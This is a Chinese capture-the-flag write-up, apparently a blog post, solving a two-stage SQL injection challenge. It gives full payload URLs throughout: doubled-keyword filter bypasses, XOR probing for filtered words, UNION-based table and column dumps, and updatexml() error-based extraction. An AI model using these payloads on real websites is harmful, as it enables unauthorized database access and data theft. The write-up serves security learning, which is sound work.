ctf php 出bug了,多次

SQL注入绕过

题目

1d8a990935eb67e38f252d64dcb775af.png

解题过程

登陆后发现页面没有啥信息,但是url地址栏?id=1 可能存在注入

ec5a9e031d28133b5247275cf8783764.png

id=1后面加单引号会报错,后面加–+注释返回正常,确定存在SQL注入

?id=1’or 1=1–+也报错,可能存在过滤

尝试双写绕过,?id=1’oorr 1=1–+返回正常

那如何检测哪些字符串被过滤了呢?新技能GET!

异或注入了解一下,两个条件相同(同真或同假)即为假1http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+

如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了

同理测试出被过滤的字符串有:and,or,union,select

都用双写来绕过,payload如下:

爆数据表 (注意:information里面也有or)1http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

2da8060277663b888e50a529b128c15a.png

爆字段1http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+

7fa6ce5eccfff7700a880247364a5b6b.png1http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1--+

42331b21f068f4292471fb5bf5f44849.png

提交flag显示错误,换个字段,爆address,得出下一关地址

c63f486057c93f480d9de5725d32873f.png

进去又是一个SQL注入

7f168570e4b70cf99207f383ae6f9ef2.png

大小写绕过pass,双写绕过pass

这里利用 updatexml()函数报错注入首先了解下updatexml()函数1

2> UPDATEXML (XML_document, XPath_string, new_value);

>第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

而我们的注入语句为:1

2> updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

>

payload 如下

1

2

3

4

5

6

7

8

9

10

11

12

13# 查数据表

http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23

# 查字段

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23

# 查数据

?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23

最后爆出 flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值